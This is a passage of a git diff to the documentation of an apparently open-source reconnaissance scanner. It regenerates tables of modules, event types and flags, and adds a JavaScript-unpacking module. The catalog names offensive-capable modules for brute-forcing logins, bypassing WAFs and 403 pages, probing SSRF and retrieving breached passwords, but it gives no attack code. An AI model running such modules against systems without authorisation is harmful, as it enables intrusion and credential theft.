affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,nowafpls,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virtualhost,virustotal,waf_bypass,wafw00f,wayback,webbrute,webbrute_shortnames + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,js_unpacker,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,nowafpls,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virtualhost,virustotal,waf_bypass,wafw00f,wayback,webbrute,webbrute_shortnames -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index b61e5e847b..fe4bcf83df 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -689,7 +689,7 @@ In addition to the stated options for each module, the following universal optio | modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | | modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | | modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | -| modules.trufflehog.version | str | trufflehog version | 3.97.4 | +| modules.trufflehog.version | str | trufflehog version | 3.97.9 | | modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | | modules.virustotal.api_key | str | list[str] | VirusTotal API Key | | | modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index e5c26ffd7b..e76a28c6dd 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -126,42 +126,42 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 39 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 18 | 4 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, lightfuzz, virtualhost, wayback | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | -| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | -| URL | 26 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, nowafpls, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | -| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | -| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VIRTUAL_HOST | 0 | 1 | | virtualhost | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 40 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, js_unpacker, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 19 | 5 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, js_unpacker, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, js_unpacker, lightfuzz, virtualhost, wayback | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | +| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | +| URL | 26 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, nowafpls, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | +| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | +| URL_UNVERIFIED | 9 | 20 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, js_unpacker, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| VIRTUAL_HOST | 0 | 1 | | virtualhost | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | [Next Up: Output -->](./output.md){ .md-button .md-button--primary } diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 20cdcb55a0..8e68d06846 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -187,30 +187,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 100 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, waf_bypass, wayback | -| passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 53 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames | -| subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, virtualhost, wafw00f, webbrute, webbrute_shortnames | -| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | -| web-heavy | 17 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, nowafpls, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames | -| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | -| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| slow | 11 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, virtualhost | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| invasive | 8 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nowafpls, nuclei, telerik | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | http, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 101 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, js_unpacker, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, waf_bypass, wayback | +| passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 54 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, js_unpacker, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames | +| subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, virtualhost, wafw00f, webbrute, webbrute_shortnames | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| web | 17 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, js_unpacker, ntlm, oauth, robots, securitytxt, sslcert | +| web-heavy | 17 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, nowafpls, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames | +| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | +| slow | 11 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, virtualhost | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| invasive | 8 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nowafpls, nuclei, telerik | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname 